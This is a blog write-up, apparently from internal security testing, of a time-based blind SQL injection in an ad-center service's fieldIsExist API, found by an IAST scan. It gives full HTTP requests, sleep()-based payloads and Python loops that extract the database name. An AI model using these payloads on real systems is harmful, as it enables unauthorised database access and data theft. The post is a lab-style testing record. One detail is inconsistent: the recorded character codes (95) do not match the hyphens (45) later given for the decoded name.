前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从SQL注入延时盲注到Get Database

从SQL注入延时盲注到Get Database

作者头像
UzJu@菜菜狗
发布2022-04-25 20:41:25
4440
发布2022-04-25 20:41:25
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗

从SQL注入延时盲注到Get Database

一、IAST发现

image-20210701143323718
image-20210701143323718
image-20210701143345615
image-20210701143345615

执行的SQL语句

代码语言:javascript
复制
SELECT COUNT() FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?) 

应用堆栈

代码语言:javascript
复制
com.mysql.jdbc.ConnectionImpl.prepareStatement 
com.mysql.jdbc.ConnectionImpl.prepareStatement 
com.alibaba.druid.pool.DruidPooledConnection.prepareStatement 
sun.reflect.GeneratedMethodAccessor177.invoke 
sun.reflect.DelegatingMethodAccessorImpl.invoke 
java.lang.reflect.Method.invoke 
org.apache.ibatis.logging.jdbc.ConnectionLogger.invoke 
com.sun.proxy.$Proxy193.prepareStatement 
org.apache.ibatis.executor.statement.PreparedStatementHandler.instantiateStatement 
org.apache.ibatis.executor.statement.BaseStatementHandler.prepare 
org.apache.ibatis.executor.statement.RoutingStatementHandler.prepare 
org.apache.ibatis.executor.SimpleExecutor.prepareStatement 
org.apache.ibatis.executor.SimpleExecutor.doQuery 
org.apache.ibatis.executor.BaseExecutor.queryFromDatabase 
org.apache.ibatis.executor.BaseExecutor.query 
org.apache.ibatis.executor.CachingExecutor.query 
com.github.pagehelper.PageInterceptor.intercept 
org.apache.ibatis.plugin.Plugin.invoke 
com.sun.proxy.$Proxy192.query 
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList 
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList 
org.apache.ibatis.session.defaults.DefaultSqlSession.selectOne 
sun.reflect.GeneratedMethodAccessor469.invoke 
sun.reflect.DelegatingMethodAccessorImpl.invoke 
java.lang.reflect.Method.invoke 
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke 
com.sun.proxy.$Proxy123.selectOne 
org.mybatis.spring.SqlSessionTemplate.selectOne 
org.apache.ibatis.binding.MapperMethod.execute 
org.apache.ibatis.binding.MapperProxy.invoke 
com.sun.proxy.$Proxy132.selectCount 
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl.fieldIsExist 
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$FastClassBySpringCGLIB$$37b08d2.invoke 
org.springframework.cglib.proxy.MethodProxy.invoke 
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint 
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed 
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke 
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed 
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept 
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$EnhancerBySpringCGLIB$$e821b668.fieldIsExist 
com.transsnet.palmpay.adcenter.controller.AdController.fieldIsExist 
com.transsnet.palmpay.adcenter.controller.AdController$$FastClassBySpringCGLIB$$f8486f5c.invoke 
org.springframework.cglib.proxy.MethodProxy.invoke 
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint 
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed 
org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed 
com.transsnet.palmpay.aspect.LogAspect.aroundAdvice 
sun.reflect.GeneratedMethodAccessor325.invoke 
sun.reflect.DelegatingMethodAccessorImpl.invoke 
java.lang.reflect.Method.invoke 
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs 
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod 
org.springframework.aop.aspectj.AspectJAroundAdvice.invoke 
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed 
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke 
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed 
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept 
com.transsnet.palmpay.adcenter.controller.AdController$$EnhancerBySpringCGLIB$$fa54a273.fieldIsExist 
sun.reflect.GeneratedMethodAccessor1161.invoke 
sun.reflect.DelegatingMethodAccessorImpl.invoke 
java.lang.reflect.Method.invoke 
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke 
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest 
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle 
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod 
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal 
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle 
org.springframework.web.servlet.DispatcherServlet.doDispatch 
org.springframework.web.servlet.DispatcherServlet.doService 
org.springframework.web.servlet.FrameworkServlet.processRequest 
org.springframework.web.servlet.FrameworkServlet.doPost 
javax.servlet.http.HttpServlet.service 
org.springframework.web.servlet.FrameworkServlet.service 
javax.servlet.http.HttpServlet.service 
io.undertow.servlet.handlers.ServletHandler.handleRequest 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.boot.web.filter.ApplicationContextHeaderFilter.doFilterInternal 
org.springframework.web.filter.OncePerRequestFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
com.alibaba.druid.support.http.WebStatFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.boot.actuate.trace.WebRequestTraceFilter.doFilterInternal 
org.springframework.web.filter.OncePerRequestFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.web.filter.RequestContextFilter.doFilterInternal 
org.springframework.web.filter.OncePerRequestFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal 
org.springframework.web.filter.OncePerRequestFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal 
org.springframework.web.filter.OncePerRequestFilter.doFilter 
io.undertow.servlet.core.ManagedFilter.doFilter 
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter 
org.springframework.cloud.sleuth.instrument.web.TraceFilter.doFilter 

完整Header信息

代码语言:javascript
复制
accept: */* 
accept-encoding: gzip, deflate 
appsource: 4 
connection: keep-alive 
content-length: 132 
content-type: application/json;charset=UTF-8 
countrycode: NG 
host: 172.29.68.103:18129 
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d 
user-agent: Java/1.8.0_251 
x-b3-parentspanid: 154c092e7e6195b1 
x-b3-sampled: 0 
x-b3-spanid: d30b9335df6a2b00 
x-b3-traceid: 154c092e7e6195b1 
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ== 
x-span-name: http:/api/ad/fieldIsExist 

请求Body

代码语言:javascript
复制
HTTP Request: 
POST /api/ad/fieldIsExist HTTP/1.1 
appsource: 4 
x-b3-parentspanid: 154c092e7e6195b1 
x-span-name: http:/api/ad/fieldIsExist 
countrycode: NG 
x-b3-sampled: 0 
accept: */* 
x-b3-spanid: d30b9335df6a2b00 
x-b3-traceid: 154c092e7e6195b1 
host: 172.29.68.103:18129 
connection: keep-alive 
content-type: application/json;charset=UTF-8 
user-agent: Java/1.8.0_251 
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ== 
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d 
{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null} 

响应包

代码语言:javascript
复制
HTTP Response: 
HTTP Code:200 
Connection: keep-alive 
X-Protected-By: OpenRASP 
X-Request-ID: fe3ecf80f53a40bc9d2d91f4b00ad84d 
Transfer-Encoding: chunked 
Content-Type: application/json;charset=UTF-8 
X-Application-Context: ad-center:dev:18129 
Date: Wed, 30 Jun 2021 09:43:55 GMT 
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null} 

二、Burp Repeater

将请求包丢入到Burp的Repeater进行重放测试

image-20210701143807216
image-20210701143807216

关键字openrasp所在的位置为可能存在注入的地方

尝试将openrasp字样删除 结果还是返回An unknown error occurred in the ad-center service

image-20210701143951359
image-20210701143951359

1、手工Fuzz确认漏洞

a后面跟上' —– 报错

此时的SQL语句大概为

代码语言:javascript
复制
SELECT COUNT() FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?) 
image-20210701144128912
image-20210701144128912

a后面跟上and 1=1-- —– 报错

代码语言:javascript
复制
SELECT COUNT() FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?) 
image-20210701144257921
image-20210701144257921

a修改为数字1 —– 成功

代码语言:javascript
复制
SELECT COUNT() FROM t_ad WHERE ( = ? AND delete_flag = ? AND ad_id <> ?) 
image-20210701144417935
image-20210701144417935

直接尝试select version() —— 成功

代码语言:javascript
复制
SELECT COUNT() FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?) 
image-20210701145048855
image-20210701145048855

返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)来进行判断

image-20210701145250594
image-20210701145250594

可以看到burp提示了3秒钟,尝试修改为5秒

image-20210701145351555
image-20210701145351555

确认存在SQL注入

Payload

代码语言:javascript
复制
select version() union select sleep() 
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?) 

Payload Request

代码语言:javascript
复制
POST /api/ad/fieldIsExist HTTP/1.1 
appsource: 4 
x-b3-parentspanid: 154c092e7e6195b1 
x-span-name: http:/api/ad/fieldIsExist 
countrycode: NG 
x-b3-sampled: 0 
accept: */* 
x-b3-spanid: d30b9335df6a2b00 
x-b3-traceid: 154c092e7e6195b1 
host: 172.29.68.103:18129 
connection: keep-alive 
content-type: application/json;charset=UTF-8 
user-agent: Java/1.8.0_251 
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ== 
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d 
Content-Length: 162 
{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null} 

Payload Response(return time 3)

代码语言:javascript
复制
HTTP/1.1  OK 
Connection: keep-alive 
X-Protected-By: OpenRASP 
X-Request-ID: 92950d5328554e1dbc5819f54fb976a7 
Content-Type: application/json;charset=UTF-8 
X-Application-Context: ad-center:dev:18129 
Date: Thu, 01 Jul 2021 06:53:40 GMT 
Content-Length: 92 
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null} 

三、Python Fuzz

1、获取数据库名长度

原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回

Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14 该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可

Payload

代码语言:javascript
复制
if (length(database())=,sleep(),) 
image-20210701150606570
image-20210701150606570

跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了

image-20210701150708596
image-20210701150708596
image-20210701150738259
image-20210701150738259

长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14

1-1、Payload Json
代码语言:javascript
复制
{ 
 "field": "if (length(database())=14,sleep(5),0)", 
 "value": "TESTAPPAD01", 
 "adId": "13CD98DA973B443D8B1E80AD44BBA409" 
} 
1-2、Poc
代码语言:javascript
复制
def getDataBasesLengthSqlFuzz(): 
 for Count in range(1, 100): 
        data = { 
 "field": "if (length(database())={},sleep(5),0)".format(Count), 
 "value": "TESTAPPAD01", 
 "applicationId": None, 
 "adId": "13CD98DA973B443D8B1E80AD44BBA409", 
 "platform": None 
 } 
        result = requests.post(url=url, headers=headers, data=json.dumps(data)) 
 print(result.json()) 
 print(json.dumps(data)) 
 print('=' * 100) 

2、获取数据库名

原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名

ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1

Payload

代码语言:javascript
复制
if (ascii(substr(database(),{xxx},))={xxx}, sleep(), ) 

第一个字符 97

image-20210701151818733
image-20210701151818733

第二个字符 100

image-20210701151850750
image-20210701151850750

第三个字符 95

image-20210701151929183
image-20210701151929183

第四个字符 99

image-20210701152001265
image-20210701152001265

第五个字符 101

image-20210701152040897
image-20210701152040897

第六个字符 110

image-20210701152118945
image-20210701152118945

第七个字符 116

image-20210701152154239
image-20210701152154239

第八个字符 101

image-20210701152227535
image-20210701152227535

第九个字符 114

image-20210701152304095
image-20210701152304095

第十个字符 95

image-20210701152335952
image-20210701152335952

第十一个字符 100

image-20210701152410143
image-20210701152410143

第十二个字符 97

image-20210701152439279
image-20210701152439279

第十三个字符 116

image-20210701152512449
image-20210701152512449

第十四个字符 97

image-20210701152541311
image-20210701152541311

为了确认长度是否是14,再跑一次长度15

image-20210701152715215
image-20210701152715215

程序直接跑完了,并没有卡住,很显然,长度为14

ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97

转换为字符:a d - c e n t e r - d a t a

image-20210701153217251
image-20210701153217251

数据库名为:ad-center-data

Pyaload Json

代码语言:javascript
复制
{ 
 "field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)", 
 "value": "TESTAPPAD01", 
 "adId": "13CD98DA973B443D8B1E80AD44BBA409" 
} 

Poc

代码语言:javascript
复制
def getDataBaseNameSqlFuzz(length): 
 for j in range(1, 128): 
        data = { 
 "field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j), 
 "value": "TESTAPPAD01", 
 "applicationId": None, 
 "adId": "13CD98DA973B443D8B1E80AD44BBA409", 
 "platform": None 
 } 
        result = requests.post(url=url, headers=headers, data=json.dumps(data)) 
 print(json.dumps(data)) 
 print(result.json()) 
 print('=' * 100) 

测试环境突然更新,暂时无法继续获取表

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 从SQL注入延时盲注到Get Database
    • 一、IAST发现
      • 二、Burp Repeater
        • 1、手工Fuzz确认漏洞
      • 三、Python Fuzz
        • 1、获取数据库名长度
        • 2、获取数据库名
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档